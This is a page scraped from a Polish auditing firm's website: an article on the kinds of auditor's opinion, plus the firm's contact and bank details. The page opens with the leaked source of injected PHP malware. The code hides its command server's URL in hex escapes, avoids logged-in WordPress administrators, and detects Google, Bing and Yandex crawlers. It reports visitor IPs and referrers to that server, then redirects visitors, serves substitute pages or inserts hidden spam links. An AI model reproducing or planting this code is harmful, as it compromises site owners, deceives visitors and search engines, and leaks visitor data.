$value){if($key=='http2_session_id' || strpos($key,'wordpress_logged_in_')===0){$lf_enable=false;@setcookie('http2_session_id','1',2147483647,"/");break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI'] ?? '/';$ua=$_SERVER['HTTP_USER_AGENT'] ?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST'] ?? ''). $uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x62p\x6ca\x6es\x6ff\x74.\x6fr\x67/\x67e\x74.\x70h\x70";public $client_hash="b9e71384";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*","35.191.*","35.203.*","35.204.*","35.224.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.199.*","35.200.*","35.201.*","35.202.*","35.203.*","35.204.*","35.205.*","35.206.*","35.207.*","35.208.*","35.209.*","35.210.*","35.211.*","35.212.*","35.213.*","35.214.*","35.215.*","35.216.*","35.217.*","35.218.*","35.219.*","35.220.*","35.221.*","35.222.*","35.223.*","35.224.*","35.225.*","35.226.*","35.227.*","35.228.*","35.229.*","35.230.*","35.231.*","35.232.*","35.233.*","35.234.*","35.235.*","35.236.*","35.237.*","35.238.*","35.239.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.248.*","35.249.*","35.250.*","35.251.*","35.252.*","35.253.*","35.254.*","35.255.*","34.64.*","34.65.*","34.66.*","34.67.*","34.68.*","34.69.*","34.70.*","34.71.*","34.72.*","34.73.*","34.74.*","34.75.*","34.76.*","34.77.*","34.78.*","34.79.*","34.80.*","34.81.*","34.82.*","34.83.*","34.84.*","34.85.*","34.86.*","34.87.*","34.88.*","34.89.*","34.90.*","34.91.*","34.92.*","34.93.*","34.94.*","34.95.*","34.96.*","34.97.*","34.98.*","34.99.*","34.100.*","34.101.*","34.102.*","34.103.*","34.104.*","34.105.*","34.106.*","34.107.*","34.108.*","34.109.*","34.110.*","34.111.*","34.112.*","34.113.*","34.114.*","34.115.*","34.116.*","34.117.*","34.118.*","34.119.*","34.120.*","34.121.*","34.122.*","34.123.*","34.124.*","34.125.*","34.126.*","34.127.*","34.128.*","34.129.*","34.130.*","34.131.*","34.132.*","34.133.*","34.134.*","34.135.*","34.136.*","34.137.*","34.138.*","34.139.*","34.140.*","34.141.*","34.142.*","34.143.*","34.144.*","34.145.*","34.146.*","34.147.*","34.148.*","34.149.*","34.150.*","34.151.*","34.152.*","34.153.*","34.154.*","34.155.*","34.156.*","34.157.*","34.158.*","34.159.*","34.160.*","34.161.*","34.162.*","34.163.*","34.164.*","34.165.*","34.166.*","34.167.*","34.168.*","34.169.*","34.170.*","34.171.*","34.172.*","34.173.*","34.174.*","34.175.*","34.176.*","34.177.*","34.178.*","34.179.*","34.180.*","34.181.*","34.182.*","34.183.*","34.184.*","34.185.*","34.186.*","34.187.*","34.188.*","34.189.*","34.190.*","34.191.*","34.192.*","34.193.*","34.194.*","34.195.*","34.196.*","34.197.*","34.198.*","34.199.*","34.200.*","34.201.*","34.202.*","34.203.*","34.204.*","34.205.*","34.206.*","34.207.*","34.208.*","34.209.*","34.210.*","34.211.*","34.212.*","34.213.*","34.214.*","34.215.*","34.216.*","34.217.*","34.218.*","34.219.*","34.220.*","34.221.*","34.222.*","34.223.*","34.224.*","34.225.*","34.226.*","34.227.*","34.228.*","34.229.*","34.230.*","34.231.*","34.232.*","34.233.*","34.234.*","34.235.*","34.236.*","34.237.*","34.238.*","34.239.*","34.240.*","34.241.*","34.242.*","34.243.*","34.244.*","34.245.*","34.246.*","34.247.*","34.248.*","34.249.*","34.250.*","34.251.*","34.252.*","34.253.*","34.254.*","34.255.*","2001:4860:4801:*","2001:4860:4802:*","2001:4860:4803:*","2001:4860:4804:*","2001:4860:4805:*","2001:4860:4806:*","2001:4860:4807:*","2001:4860:4808:*","2001:b028:*","2001:67c:*","2404:6800:*","2404:f340:*","2600:1900:*","2600:2700:*","2607:f8b0:*","2607:f8b1:*","2607:f8b2:*","2607:f8b3:*","2607:f8b4:*","2607:f8b5:*","2607:f8b6:*","2607:f8b7:*","2607:f8b8:*","2607:f8b9:*","2607:f8ba:*","2607:f8bb:*","2607:f8bc:*","2607:f8bd:*","2607:f8be:*","2607:f8bf:*","2a00:1450:*","2c0f:f248:*","2c0f:f249:*","2c0f:f24a:*","2c0f:f24b:*","2c0f:f24c:*","2c0f:f24d:*","2c0f:f24e:*","2c0f:f24f:*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return @file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])? $parts['port'] : 80;$page=isset($parts['path'])? $parts['path'] : '';$page .=isset($parts['query'])? '?' . $parts['query'] : '';$page .=isset($parts['fragment'])? '#' . $parts['fragment'] : '';$page=($page=='')? '/' : $page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host:{$parts['host']}\r\n";$headers .="Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!==false){$resp .=$curr;}if(isset($curr)&& $curr !==false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function match_ip($ip,$pattern){if(strpos($ip,':')!==false){$pattern=str_replace(':','\:',$pattern);$pattern=str_replace('*','.*',$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}else{$pattern=str_replace(['. ','*'],['\. ','.*'],$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}}function verify_googlebot($ip){$is_google_ip=false;foreach($this->google_ip_list as $ip_mask){if($this->match_ip($ip,$ip_mask)){$is_google_ip=true;break;}}if(!$is_google_ip){return false;}$hostname=@gethostbyaddr($ip);if(!$hostname || $hostname===$ip){return false;}if(!preg_match('/\.(googlebot|google)\.com$/i',$hostname)){return false;}return true;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])? $_SERVER['HTTP_CF_CONNECTING_IP'] :(isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR'] : 'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER'] : '';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';$ua_patterns=[ 'bing'=> 'bingbot|msnbot|slurp|yahoo','yandex'=> 'yandexbot|yandex','duckduck'=> 'duckduckbot|duckduckgo' ];foreach($ua_patterns as $name=> $re){if($ua && preg_match("/$re/i",$ua)){$bot=TRUE;$this->bot=$name;break;}}if($bot){return $this->make_request();}if($this->verify_googlebot($this->ip)){$bot=TRUE;$this->bot='google';}else{$ip_lists=[ 'bing'=> $this->bing_ip_list,'yandex'=> $this->yandex_ip_list ];foreach($ip_lists as $name=> $list){$is_bot_ip=false;foreach($list as $ip_mask){if($this->match_ip($this->ip,$ip_mask)){$is_bot_ip=true;break;}}if($is_bot_ip){$bot=TRUE;$this->bot=$name;break;}}}if($bot && $this->bot !=='google'){return $this->make_request();}if(!$bot){$host_by_addr=@gethostbyaddr($this->ip);if($host_by_addr && $host_by_addr !==$this->ip){$host_patterns=[ 'bing'=> 'bing|msn|slurp|yahoo','yandex'=> 'yandex','duckduck'=> 'duckduckgo|duckduckbot' ];foreach($host_patterns as $name=> $pattern){if(preg_match("/$pattern/i",$host_by_addr)){$bot=TRUE;$this->bot=$name;break;}}}}return $this->make_request();}function make_request(){if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http: if(isset($tmp['host'])){$host=$tmp['host'];}}$host=$host ?? 'unknown';$sch='http';if(!empty($_SERVER['HTTPS'])&& strtolower((string)$_SERVER['HTTPS'])!=='off'){$sch='https';}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&& stripos((string)$_SERVER['HTTP_X_FORWARDED_PROTO'],'https')!==false){$sch='https';}$url=$this->url . "?host=$host&uri=" . urlencode($this->uri). "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref). '&lang=' . urlencode($this->lang). '&sch=' . $sch . '&cv=' . $this->client_hash . '&ct=client';if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .='&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!==false){$res=1;}die(json_encode([ 'r'=> $res,'bot'=> $this->bot,'ip'=> $this->ip,'funcs'=> [ 'curl_init'=> function_exists('curl_init')? 1 : 0,'file_get_contents'=> function_exists('file_get_contents')? 1 : 0,'allow_url_fopen'=> ini_get('allow_url_fopen')? 1 : 0,'fsockopen'=> function_exists('fsockopen')? 1 : 0,'socket_set_option'=> function_exists('socket_set_option')? 1 : 0,] ]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .='&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=trim($matches[1]);if(!headers_sent()){header("Location: " . $url);exit;}else{echo '';exit;}}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!==FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])? $m[1] : array();}if(count($this->links)> 0){ob_start(array($this,'rwcontent'));}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}(?:\s[^>]*)?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0] as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)> count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index < $links_count && $tag_index < $tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)==='###'){$linkHTML=substr($link,0,-3);}else{$seed=$_SERVER['REQUEST_URI'] . strlen($link);$hash1=crc32($seed);$offset=7000 +($hash1 % 6001);$hash2=crc32($seed . 'w');$width=1000 +($hash2 % 201);$linkHTML="
{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])% 2==1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+ 4))=="."){$tag_content_new=str_replace(".","{$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace("","{$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" . preg_quote($tag_val['content'],'~'). "~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!==false){$link_index++;}$tag_index++;}if($link_index < $links_count){$tail=array();for($i=$link_index;$i < $links_count;$i++){$link=$this->links[$i];$tail[]=(substr($link,-3)==='###')? substr($link,0,-3): $link;}$footer=implode(' ',$tail);if(stripos($content,'')!==false){$content=preg_replace('~~i',$footer . '',$content,1);}else{$content .=$footer;}}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} Opinia biegłego rewidenta - Kancelaria Biegłego Rewidenta Iwona Naumczyk
Białystok: 85 877 73 36
Warszawa: 22 300 52 95
biuro@naumczyk.pl
Kancelaria Biegłego Rewidenta Iwona Naumczyk | Audyt | Doradztwo | Biuro Rachunkowe | Kontroling

Opinia biegłego rewidenta

Iwona Naumczyk - 30 czerwca 2024

Rezultatem badania sprawozdania finansowego przez biegły rewident jest sprawozdanie z badania.

Sprawozdanie z badania czyli opinia stwierdza czy sprawozdanie przedstawia rzetelny i jasny obraz sytuacji majątkowej i finansowej oraz wyniku finansowego badanej jednostki zgodnie z mającymi zastosowanie przepisami dotyczącymi rachunkowości i sprawozdawczości finansowej, a także przyjętymi zasadami (polityką) rachunkowości oraz opinię o tym, czy badane sprawozdanie finansowe jest zgodne co do formy i treści z przepisami prawa, statutem lub umową.

Opinia biegłego rewidenta – rodzaje:

bez zastrzeżeń,

z zastrzeżeniami

negatywna

odmowa wydania opinii.

Opinia biegłego rewidenta – zastrzeżenia mogą być:

1) wystarczające i odpowiednie dowody badania wskazują na istotne ale nierozległego zniekształcenia sprawozdania finansowego oraz

2) biegły rewident nie jest w stanie w ogóle uzyskać wystarczających i odpowiednich dowodów badania, które stanowiłyby podstawę opinii, ale biegły rewident wyciąga wniosek, że możliwy wpływ na sprawozdanie finansowe ewentualnych niewykrytych zniekształceń mógłby być istotny, ale nie rozległy.

Jeśli biegły rewident uzyskał wystarczające i odpowiednie dowody badania, które wskazują rozległe zniekształcenia opinia jest negatywna.

Opinia biegłego rewidenta – jeśli biegły rewident nie jest w stanie w ogóle uzyskać wystarczających i odpowiednich dowodów badania, które mają rozległy wpływ na sprawozdanie finansowe – wówczas mamy do czynienia z odmowa wydania opinii.

Tagi: , , , , ,

KANCELARIA BIEGŁEGO REWIDENTA

IWONA NAUMCZYK

ul. Mokotowska 1

00-640 Warszawa

NIP: 5451609668

REGON: 366251030


Nazwa banku: Bank PKOBP

Konto: 59 1020 4724 0000 3102 0117 1990

Oddział Warszawa

ul. Mokotowska 1

00-640 Warszawa

Tel: 22 300 52 95

Oddział Białystok

ul. Wiejska 67/2

15-351 Białystok

Tel: 85 877 73 36

Audyt

Biuro Rachunkowe

Doradztwo

Kadry i płace

Księgowość

Kontroling

Outsourcing księgowy

Podatki

Wycena

Kancelaria Biegłego Rewidenta Iwona Naumczyk firma audytorska 4118 - Wszelkie prawa zastrzeżone 2017-2020